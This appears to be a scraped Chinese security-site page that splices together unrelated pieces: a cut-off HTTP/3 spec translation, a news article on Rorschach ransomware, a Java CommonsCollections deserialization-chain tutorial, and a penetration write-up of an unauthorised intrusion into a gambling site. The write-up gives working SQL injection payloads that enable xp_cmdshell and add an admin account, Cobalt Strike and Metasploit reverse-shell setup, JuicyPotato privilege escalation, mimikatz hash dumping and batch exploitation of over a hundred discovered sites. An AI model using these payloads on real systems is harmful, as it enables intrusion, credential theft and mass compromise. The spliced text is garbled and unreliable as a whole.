當使用0-RTT QUIC連接時，每個服務器設置的初始值都是上一個會話中使用的值。客戶端應該存儲服務器在HTTP/3連接中提供的恢復信息的設置，但在某些情況下，他們可以選擇不存儲設置(例如，如果會話票據在SETTINGS幀之前收到)。當嘗試0-RTT時，客戶端必須遵守存儲的設置，如果沒有存儲值，則使用默認值。一旦服務器提供了新的設置，客戶端必須遵守這些值。

服務器可以記住它發布的設置，或存儲票據中值的完整性保護副本，並在接受0-RTT數據時恢復信息。服務器使用HTTP/3設置值來決定是否接受0-RTT數據。如果服務器不能確定客戶端記住的設置與它的當前設置是兼容的，它絕對不能接受0-RTT數據。如果符合這些設置的客戶端不會違反服務器的當前設置，則記住的設置是兼容的。

服務器可以接受0-RTT並隨後在其SETTINGS幀中提供不同的設置。如果0-RTT數據被服務器接受，它的SETTINGS幀絕對不能減少任何限製或改變任何可能被客戶端與它的0-RTT數據違反的值。服務器必須包括與其默認值不同的所有設置。如果服務器接受0-RTT，但隨後發送的設置與之前指定的設置不兼容，則必須將其視為H3_SETTINGS_ERROR 類型的連接錯誤。如果服務器接受0-RTT 但隨後發送的SETTINGS 幀忽略了客戶端理解的設置值（除了保留的設置標識符），該設置值之前指定為具有非默認值，則必須將其視為連接錯誤輸入H3_SETTINGS_ERROR。

7.2.5 PUSH_PROMISEPUSH_PROMISE 幀（類型=0x05）用於在請求流中從服務器到客戶端攜帶承諾的請求標頭部分。

8.png

PUSH_PROMISE 幀

有效載荷包括：

PUSHID：一個可變長度的整數，用於標識服務器推送操作。 Push ID用於push stream標頭和CANCEL_PUSH幀。

服務器絕對不能使用比客戶端提供的MAX_PUSH_ID幀大的Push ID。客戶端收到推送承諾幀時，如果推送承諾幀的ID大於客戶端發布的Push ID，則必須將其視為連接錯誤H3_ID_ERROR。

一個服務器可以在多個推送承諾幀中使用相同的Push ID。如果是這樣，解壓後的請求標頭集必須包含相同順序相同的字段，並且每個字段的名稱和值必須完全匹配。客戶端應該多次比較請求標頭部分以獲得承諾的資源。如果客戶端收到一個已經承諾的Push ID，並且檢測到不匹配，它必須響應一個H3_GENERAL_PROTOCOL_ERROR類型的連接錯誤。如果解壓後的字段部分完全匹配，客戶端應該將推送內容與每一個接收到推送承諾幀的流關聯起來。

允許重複引用相同的Push ID主要是為了減少並發請求造成的重複。服務器應該避免長時間重複使用Push ID。客戶端很可能使用服務器推送響應，而不保留它們以供重用。當客戶端看到一個推送承諾幀使用了一個他們已經使用並刪除的Push ID時，會被迫忽略這個承諾。

如果在控制流上接收到推送承諾幀，客戶端必須響應一個H3_FRAME_UNEXPECTED類型的連接錯誤。

客戶端不能發送PUSH_PROMISE幀。服務器必須將接收到的PUSH_PROMISE幀作為H3_FRAME_UNEXPECTED類型的連接錯誤處理。

關於整個服務器推送機制的描述，請參見4.6節。

7.2.6 關閉GOAWAY幀(type=0x07)用於啟動HTTP/3連接的任意終端的安全關閉。 GOAWAY 允許終端停止接受新請求或推送，同時仍完成對先前接收到的請求和推送的處理。這將啟用管理操作，例如服務器維護。 GOAWAY 本身不會關閉連接。

9.png

GOAWAY幀

GOAWAY幀總是在控制流上發送。在服務器到客戶端的方向上，它攜帶客戶端發起的雙向流的QUIC 流ID，編碼為可變長度整數。客戶端必須將接收到包含任何其他類型的流ID 的GOAWAY 幀視為H3_ID_ERROR 類型的連接錯誤。

在客戶端到服務器的方向上，GOAWAY幀攜帶一個被編碼為變長整數的Push ID。

GOAWAY幀適用於整個連接，而不是特定的流。客戶端必須將控制流以外的流上的GOAWAY幀作為H3_FRAME_UNEXPECTED類型的連接錯誤處理。

關於GOAWAY幀的更多信息請參見5.2節。

7.2.7 MAX_PUSH_IDMAX_PUSH_ID幀(type=0x0d)被客戶端用來控制服務器可以發起的服務器推送的數量。這設置了服務器可以在PUSH_PROMISE和CANCEL_PUSH幀中使用的Push ID的最大值。因此，除了由QUIC傳輸維持的限制外，這也限制了服務器可以發起的push stream的數量。

MAX_PUSH_ID幀總是在控制流上發送。在任何其他流上接收到MAX_PUSH_ID幀必須作為H3_FRAME_UNEXPECTED類型的連接

HireHackking

1.png

一家總部位於美國的公司遭到網絡攻擊之後，惡意軟件研究人員發現了一種似乎具有“獨特技術功能”的新型勒索軟件，他們將其命名為Rorschach。

研究人員觀察到的功能之一是加密速度：據研究人員的測試結果顯示，Rorschach憑此速度成為如今最快速的勒索軟件威脅。

分析師們發現，黑客在利用一款威脅檢測和事件響應工具存在的弱點之後，在受害者網絡上部署了惡意軟件。

Rorschach的細節網絡安全公司Check Point的研究人員在應對美國一家公司的安全事件時發現，Rorschach是通過Cortex XDR中的簽名組件使用DLL側加載技術部署的，Cortex XDR是知名網絡安全公司Palo Alto Networks 的一款擴展檢測和響應產品。

攻擊者使用Cortex XDR轉儲服務工具（cy.exe）版本7.3.0.16740來側加載Rorschach加載器和注入器（winutils.dll），這導致將勒索軟件的攻擊載荷“config.ini”投放到記事本（Notepad）進程中。

加載器文件具有類似UPX的反分析保護機制，而主攻擊載荷通過使用VMProtect軟件對部分代碼進行虛擬化處理來防止逆向工程和檢測。

Check Point聲稱，Rorschach在Windows域控制器上執行時會創建一個組策略，以傳播到域中的其他主機。

在攻陷機器之後，惡意軟件會刪除四個事件日誌（應用程序日誌、安全日誌、系統日誌和Windows Powershell日誌），以清除其痕跡。

2.png

圖1. 攻擊鏈（圖片來源：Check Point）

雖然帶有硬編碼配置，但Rorschach支持可以擴展功能的命令行參數。

Check Point特別指出，這些選項是隱藏的，如果不對惡意軟件進行逆向工程分析，就無法訪問。以下是研究人員發現的一些參數：

3.png

圖2. Check Point 破解的參數

Rorschach的加密過程只有當受害者的機器用獨聯體（CIS）之外的語言加以配置時，Rorschach才會開始加密數據。

加密方案結合了curve25519算法和eSTREAM cipher hc-128算法，遵循間歇加密趨勢，這意味著它只對文件進行部分加密，從而提高了處理速度。

4.jpg

圖3. Rorschach的加密方案（圖片來源：Check Point）

研究人員特別指出，Rorschach 的加密例程表明“通過I/O完成端口高效地實現線程調度”。

Check Point表示：“此外，為了加快速度，似乎格外重視編譯器優化，大部分代碼進行了內聯處理。所有這些因素使我們認為，我們面對的可能是外面速度最快的勒索軟件之一。”

為了了解Rorschach的加密速度有多快，Check Point在一台六核CPU機器上搭建了含有220000個文件的測試環境。

Rorschach花了4.5分鐘來加密數據，而被認為最快的勒索軟件家族的LockBit v3.0卻用了7 分鐘才完成加密。

在鎖定係統之後，惡意軟件投放一封勒索函，其格式類似Yanlowang勒索軟件所用的勒索函。

據研究人員聲稱，這個惡意軟件的以前版本使用了類似DarkSide的勒索函。

Check Point表示，這種相似性可能導致其他研究人員將不同版本的Rorschach誤認為是DarkSide，後者於2021年更名為BlackMatter，並於同年銷聲匿跡。

5.jpg

圖4. Rorschach投放的最新勒索函（圖片來源：Check Point）

BlackMatter的成員後來策劃了ALPHV/BlackCat勒索軟件行動，該行動於2021年11月啟動。

Check Point評估後認為，Rorschach從一些在線洩露的主要勒索軟件家族（Babuk、LockBit v2.0和DarkSide）借鑒了更好的功能。

除了自我傳播能力外，該惡意軟件還“提高了勒索攻擊的門檻”。

目前，Rorschach勒索軟件的運營商仍然不得而知，也沒有什麼品牌，這種情況在勒索軟件領域很少見。

HireHackking

1683253145740260.jpeg

0x01 前言距離上一次更新JAVA安全的系列文章已經過去一段時間了，在上一篇文章中介紹了反序列化利用鏈基本知識，並闡述了Transform鏈的基本知識。 Transform鏈並不是一條完整的利用鏈，只是CommonsCollections利用鏈中的一部分。當然並不是所有的CC鏈都需要用Transform鏈。

為了更方便的理解CC鏈，我們並不會按照順序來闡述所有的鏈，而是按照鏈的難易程度，由易到難。

0x02CommonsCollections5鏈CommonsCollections5鍊是整個CC鏈中最簡單的一條鏈，通過BadAttributeValueExpException類的readObject方法觸發反序列化的過程，最終調用Transform鏈來達到命令執行的效果。

在ysoserial的環境中調試CommonsCollections5鏈的方式很簡單，如圖2.1所示。1683253223115330.png

圖2.1 使用ysoserial生成反序列化利用鏈

直接調用就會執行彈出計算器的命令，跟踪run方法可以查看代碼執行邏輯，如圖2.2所示。

1683253284109251.png

圖2.2 在ysoserial中的序列化和反序列化過程

在ysoserial的run方法中既有序列化的過程，也有反序列化的過程。所以調用run方法因為反序列化的過程導致會執行對應的惡意代碼，彈出計算器。

在很多情況下需要保存反序列化對像到文件，可以通過在run方法中添加文件保存方法即可，如圖2.3所示。

1683253318921757.png

圖2.3 保存序列化字節碼對像到文件

通過上面的方式可以直接把生成的序列化字節碼對象保存到文件cc.ser，查看文件內容，如圖2.4所示。文件中開頭的字符是aced0005，符合序列化文件的標準特徵。

1683253357214716.png

圖2.4 通過xxd查看序列化文件保存的內容

通過上面的方式可以利用ysoserial生成標準的CommonsCollections5利用鏈對應的payload，下一步會繼續對CommonsCollections5利用鏈的調用過程進行分析。

通過debug的方式可以查看整個CommonsCollections5利用鏈的棧調用過程，如圖2.5所示。

1683253399115293.png

圖2.5 CommonsCollections5利用鏈的棧調用過程

在圖2.5中，紅框2對應的過程階段是屬於Transform鏈的調用過程，在上一篇文章中已經進行詳述。紅框1對應的過程階段是屬於CommonsCollections5特有的調用過程，也是屬於本文的重點部分內容。

反序列化的起始點是javax.management.BadAttributeValueExpException類的readObject方法，如圖2.6所示。

1683253437177607.png

圖2.6 調用BadAttributeValueExpException類的readObject方法

從圖2.6可以看出readObject方法首先獲取字節流類（也就是本類）對應的val字段，然後基於多個判斷，最終下一步操作是val字段對應的toString方法。這裡有一點需要注意的是判斷邏輯中要求System.getSecurityManager()為null，也就是不能開啟SecurityManager模式。

在下一步的調用棧中是調用了org.apache.commons.collections.keyvalue.TiedMapEntry的toString方法，也就是需要把上一步的val字段類型賦值為TiedMapEntry類。在TiedMapEntry類的toString方法中調用了getValue方法，如圖2.7所示。

1683253474461492.png

圖2.7 TiedMapEntry類的toString方法

繼續跟踪getValue方法，如圖2.8所示。

1683253512120378.png

圖2.8 調用map接口的get方法

從圖2.8可以看出，這裡調用了java.util.Map接口的get方法。所有隻要找到一個繼承自java.util.Map接口的類的get方法中存在惡意調用即可。在CommonsCollections5鏈中找到的惡意類是org.apache.commons.collections.map.LazyMap類，如圖2.9所示。

1683253564192404.png

圖2.9 LazyMap類的get方法調用

從圖2.9可以看出LazyMap類的get方法會調用org.apache.commons.collections.Transformer類的transform方法。在上一篇文章的內容中已經講到在反序列化過程中如果可以調用transform方法，那麼就可以通過transform方法來執行系統命令，也就可以達到RCE的效果。

實際上要編寫真正可利用的EXP遠比基於棧調用來分析更加複雜，因為在編寫EXP的過程中，需要考慮每一步棧調用的過程中的邏輯判斷條件，這並不是一件簡單的事情。

一般來說反序列化利用鏈代碼的編寫是倒著來寫的，首先是transform鏈的構造，如果某個類可以調用transformChain的transform方法，則可以執行命令，如圖2.10所示

1683253595107777.png

圖2.10 通過調用Transformer類的transform方法調用執行命令

註釋transform方法調用，繼續倒序編寫EXP。如果某個類可以調用LazyMap類的get方法，則可以執行系統命令，如圖2.11所示。

1683253640115164.png

圖2.11 通過調用LazyMap類的get方法執行命令

註釋LazyMap的get方法調用，繼續倒序編寫EXP。如果某個類可以調用TiedMapEntry類的toString方法，則可以執行系統命令，如圖2.12所示。

1683253676150771.png

圖2.12 通過調用TiedMapEntry類的toString方法執行系統命令

註釋TiedMapEntry的toString方法調用，繼續倒序編寫EXP。找到javax.management. BadAttributeValueExpException類的readObject方法中存在toString的方法調用，模擬反序列化過程，執行命令，如圖2.13所示。

1683253713138888.png

圖2.13 模擬BadAttributeValueExpException類的反序列化過程執行命令

這樣就完整的複現和分析了CommonsCollections5利用鏈，從圖2.13的payload中可以看出CommonsCollections5利用鏈中沒有復雜的邏輯處理，適合新手入門java反序列化漏洞學習。

0x03CommonsCollections7鏈CommonsCollections7鍊是一條和CommonsCollections5鏈很像的利用鏈，最終的結果都是通過LazyMap的get方法調用Transform鏈來執行命令，調用棧如圖3.1所示。

1683253747166447.png

圖3.1CommonsCollections7利用鏈

如圖3.1所示，其中紅框部分和CommonsCollections5鍊是完全一樣的，區別在於CommonsCollections7鍊是通過Hashtable類readObject方法一步步調用AbstractMap類的equals方法來調用的。

由於分析調用鏈的方式基本相同，所以不再對這條鏈進行分析。

0x04 結論CommonsCollections利用鏈中有多條利用鏈都涉及到Transform鏈，包括CC1、CC5、CC6、CC7，其中的調用過程都非常相似。但是並不是所有的CC鏈都是基於Transform實現的命令執行，在下一篇文章中會講到其他的利用鏈，會有更加複雜的應用方式。

往期推薦1

告別腳本小子系列丨JAVA安全(1)——JAVA本地調試和遠程調試技巧

2

告別腳本小子系列丨JAVA安全(2)——JAVA反編譯技巧

3

告別腳本小子系列丨JAVA安全(3)——JAVA反射機制

4

告別腳本小子系列丨JAVA安全(4)——ClassLoader機制與冰蠍Webshell分析

5

告別腳本小子系列丨JAVA安全(5)——序列化與反序列化

6

告別腳本小子系列丨JAVA安全(6)——反序列化利用鏈（上）

HireHackking

0x00  前言

我们的小团队对偶然发现的bc站点进行的渗透,从一开始只有sqlmap反弹的无回显os-shell到CS上线,到配合MSF上传脏土豆提权,到拿下SYSTEM权限的过程,分享记录一下渗透过程

0x01 登录框sql注入

看到登录框没什么好说的,先试试sqlmap一把梭

图片

burp抓包登录请求,保存到文件直接跑一下试试

python3 sqlmap.py -r "2.txt"
有盲注和堆叠注入
图片
看看能不能直接用sqlmap拿shell
python3 sqlmap.py -r "2.txt" --os-shell
目测不行
图片
 提示的是xp_cmdshell未开启,由于之前扫出来有堆叠注入,尝试运用存储过程打开xp_cmdshell
Payload:
userName=admin';exec sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure'xp_cmdshell', 1;RECONFIGURE;WAITFOR DELAY '0:0:15' --&password=123
延时15秒,执行成功(如果没有堆叠注入就把每个语句拆开一句一句执行,效果理论上应该是一样的)
图片
顺便试试看直接用xp_cmdshell来加用户提权,构造payload(注意密码别设太简单,windows系统貌似对密码强度有要求,设太简单可能会失败)
userName=admin';exec xp_cmdshell 'net user cmdshell Test ZjZ0ErUwPcxRsgG8E3hL /add';exec master..xp_cmdshell 'net localgroup administrators Test /add';WAITFOR DELAY '0:0:15' --&password=123
nmap扫了一下,目标的3389是开着的,mstsc.exe直接连
没连上
图片
再跑一下os-shell,发现能跑绝对路径了,好兆头
图片
成功弹出shell
图片
因为是盲注,所以执行whoami之类的命令各种没回显,于是直接来个CS的shellcode
图片
图片
生成的shellcode直接粘贴进os-shell里回车
图片
然后CS里啪的一下就上线了,很快啊.赶紧喊几个不讲武德的年轻人上线打牌
0x02 信息收集
tasklist看一下进程,有阿里云盾,有点难搞
图片
systeminfo看看有什么
阿里云的服务器,版本windows server 2008 R2打了75个补丁
图片
whoami一下,目测数据库被做过降权,nt service权限,非常低
图片
尝试传个ms-16-032的exp上去,直接上传失败
图片
到这里,CS的作用已经极其有限了.CS也就图一乐,真渗透还得靠MSF
0x03  利用frp到CS服务端联动MSF攻击
在CS上开一个监听器
图片
修改一下frp的配置文件
图片
保存配置文件后在frp文件夹下启动frp
./frpc -c frpc.ini
图片
打开msf开启监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set LHOST 127.0.0.1
set LPORT 9996
run
这里可以看到MSF已经开启监听了
图片
回到CS,右键选一个主机增加一个会话
图片
选择刚创建好的监听器,choose
图片
回到msf,session啪的一下就弹回来了,很快啊
图片
我们进shell看一下,实际上就是接管了CS的beacon,依然是低权限
图片
0x04 上传烂土豆EXP提权
在本地准备好一个烂土豆的EXP(注意windows路径多加个斜杠,虽然也可以不加,但试了几台机子发现加了成功率高,不知道什么原理)
upload /root/EXP/JuicyPotato/potato.exe C:\\Users\\Public
图片
CS翻一下目标机器的文件,发现成功上传
图片
然后进目标机器的这个文件夹下开始准备提权
cd C:\\Users\\Public
use incognito
execute -cH -f ./potato.exe
list_tokens -u
复制administrator的令牌
impersonate_token "administrator的令牌"
图片
最后检查一下是否提权成功
图片
0x05 mimikatz抓取密码hash
先提个权
getsystem
图片
试试能不能直接dump出来
图片
不行,只好用mimikatz了
load mimikatz
然后抓取密码哈希
mimikatz_command -f samdump::hashes
图片
也可以用MSF自带的模块(这个比mimikatz慢一点)
run post/windows/gather/smart_hashdump
图片
然后丢到CMD5解密,如果是弱口令可以解出账户密码,这次运气比较好,是个弱口令,直接解出了密码,然后mstsc.exe直接连,成功上桌面
图片
0x06 信息收集扩大攻击范围
成功获取到目标最高权限之后,尝试通过信息收集获取其他相类似的站点进行批量化攻击.
@crow师傅提取了该网站的CMS特征写了一个fofa脚本批量扫描,最终得到了1900+个站点
图片
但由于bc站往往打一枪换一个地方,这些域名往往大部分是不可用的,因此需要再确认域名的存活状态,使用脚本最终得到了一百多个存活域名
图片
在使用脚本批量访问带漏洞的URL,把生成的request利用多线程脚本批量发起请求去跑这个请求
python3 sqlmap.py -r "{0}" --dbms="Microsoft SQL Server" --batch --os-shell
最终得到可以弹出os-shell的主机,再通过手工注入shellcode,最终得到大量的上线主机
图片
0x07 进后台逛逛
用数据库里查出来的管理员账号密码登录网站后台看一看
20个人充值了80多万
图片

图片
图片

还有人的游戏账号叫"锦绣前程",殊不知网赌就是在葬送自己的前程!
图片
劝大家远离赌博,也希望陷进去的赌徒回头是岸!





转载于原文链接地址： https://mp.weixin.qq.com/s?__biz=MzI3NjA4MjMyMw==&mid=2647772541&idx=1&sn=646e732c96521e0d4d9d109426c4dc4d&chksm=f35f9681c4281f97b4c46cd95f858dc90481706a6db607fcfd6596a15745ca10c88ba83e0e9f&scene=21#wechat_redirect